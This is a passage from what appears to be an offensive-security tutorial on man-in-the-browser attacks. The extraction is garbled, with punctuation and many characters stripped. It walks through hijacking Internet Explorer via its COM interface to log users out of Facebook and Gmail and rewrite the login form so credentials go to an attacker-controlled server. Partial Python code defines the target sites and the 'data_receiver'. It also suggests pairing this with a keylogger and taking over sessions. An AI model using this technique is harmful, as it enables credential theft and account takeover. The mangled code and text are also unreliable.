man-in-the-browser (mitbattacks have been around since the turn of the new millennium they are variation on the classic man-in-the-middle attack instead of acting in the middle of communicationmalware installs itself and steals credentials or sensitive information from the unsuspecting target' browser most of these malware strains (typically called browser helper objectsinsert themselves into the browser or otherwise inject code so that they can manipulate the browser process itself as browser developers become wise to these techniques and antivirus vendors increasingly look for this behaviorwe have to get bit sneakier by leveraging the native com interface to internet explorerwe can control any ie session in order to get credentials for social networking sites or email logins you can of course extend this logic to change user' password or perform transactions with their logged-in session depending on your targetyou can also use this technique in conjunction with your keylogger module in order to force them to reauthenticate to site while you capture the keystrokes we'll begin by creating simple example that will watch for user browsing facebook or gmaildeauthenticate themand then modify the login form to send their username and password to an http server that we control our http server will then simply redirect them back to the real login page if you've ever done any javascript developmentyou'll notice that the com model for interacting with ie is very similar we are picking on facebook and gmail because corporate users have nasty habit of both reusing passwords and using these services for business (particularlyforwarding work mail to gmailusing facebook chat with coworkersand so onlet' crack open mitb py and enter the following codeimport win com client import time import urlparse import urllib data_receiver target_sites {target_sites["www facebook com"{"logout_urlnone"logout_form"logout_form""login_form_index" "ownedfalsetarget_sites["accounts google com"{"logout_url"logout?hl=en&continue=servicelogin% fservice% dmail""logout_formnone"login_form_index "ownedfalseuse the same target for multiple gmail domains target_sites["www gmail com"target_sites["accounts google com"target_sites["mail google com"target_sites["accounts google com"clsid='{ ba - - cf- - }windows win com client dispatch(clsidthese are the makings of our man-(kind-of)-in-the-browser attack we define our data_receiver variable as the web server that will receive the credentials from our target sites this method is riskier in that wily user might see the redirect happenso as future homework project you could